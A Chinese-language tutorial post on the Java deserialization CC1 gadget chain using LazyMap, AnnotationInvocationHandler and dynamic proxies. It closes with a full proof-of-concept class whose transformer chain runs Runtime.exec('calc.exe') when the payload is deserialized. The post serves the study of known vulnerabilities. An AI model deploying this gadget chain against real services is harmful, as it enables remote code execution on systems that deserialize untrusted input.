JAVA发序列化(3) 这是Java反序列化学习的第三篇文章
这回来讲一下最纯正的CC1链,因为CC1链中利用的是LazyMap
而不是TransformedMap
。那么LazyMap
又是什么
LazyMap LazyMap
和TransformedMap
类似,都来自Common-Collections
库,并继承AbstractMapDecorator
。
LazyMap
的漏洞触发线和TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行teansform
,而Lazymap
是在其get
方法中执行的factory.transform
。因为LazyMap
的作用是懒加载 ,在get
找不到值的时候,会调用factory.transform
方法去获取一个值:
1 2 3 4 5 6 7 8 9 public Objecy get(Object key){ // create value for key if key is not currentls in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
相比于TransformedMap
的利用方法,LazyMap
后续利用稍微复杂一些,在sun.reflect.annotation.AnnotationInvoctionHandler
的readObject
方法中并没有直接调用到Map
的get方法
所以ysoserial
找到了另一条路,AnnotationInvocationHandler
类的invoke
方法有调用到get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else if (var5.length != 0 ) { throw new AssertionError ("Too many parameters for an annotation method" ); } else { switch (var4) { case "toString" : return this .toStringImpl(); case "hashCode" : return this .hashCodeImpl(); case "annotationType" : return this .type; default : Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException (this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
那么又如何能调用到AnnotationInvocationHandler#invoke
?ysoserial
的作者想到的是利用Java的对象代理
Java对象代理 作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call
,我们需要用到java.reflect.Proxy
1 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,我们用默认的就好了;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑。
比如下面的这样一个类ExampleInvocationHandler
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler (Map map) { this .map = map; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get" ) == 0 ) { System.out.println("Hook method: " + method.getName()); return "Hacked Object" ; } return method.invoke(this .map, args); } }
ExampleInvocationHandler
类实现了Invoke方法,作用是在监控到调用的方法名是get
的时候,返回一个特殊字符串Hacked Objecy
。
在外部调用这个ExampleInvocationHandler
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App { public static void main (String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler (new HashMap ()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); proxyMap.put("hello" , "world" ); String result = (String) proxyMap.get("hello" ); System.out.println(result); } }
运行这个App之后发现,虽然向Map里放入的hello
值为world
,单数获取到的结果却是Hacked Object
:
我们回看sun.reflect.annptation.AnnotationInvocationHandler
,会发现这个类实际就是一个InvocationHandler
,如果将这个对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
使用LazyMap构造利用链 在上一篇的poc的基础上进行修改,首先用LazyMap
替换TransformedMap
1 Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后,我们需要对sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
1 2 3 4 5 6 7 8 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以需要再用AnnotationInvocationHandler
对这个proxyMap
进行包裹:
1 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最后修改完构造的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class}, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
而LazyMap也同样受版本的限制,8u71后的jdk版本,AnnotationInvocationHandler不会直接调用反序列化得到的Map,也就没用了。
但是P牛又说LazyMap
的漏洞触发在get
和invoke
中,没有setValue
什么事,所以8u71
后不能利用的原因和AnnotationInvocationHandler#readObject
中没有setValue
没任何关系,关键还是和逻辑有关系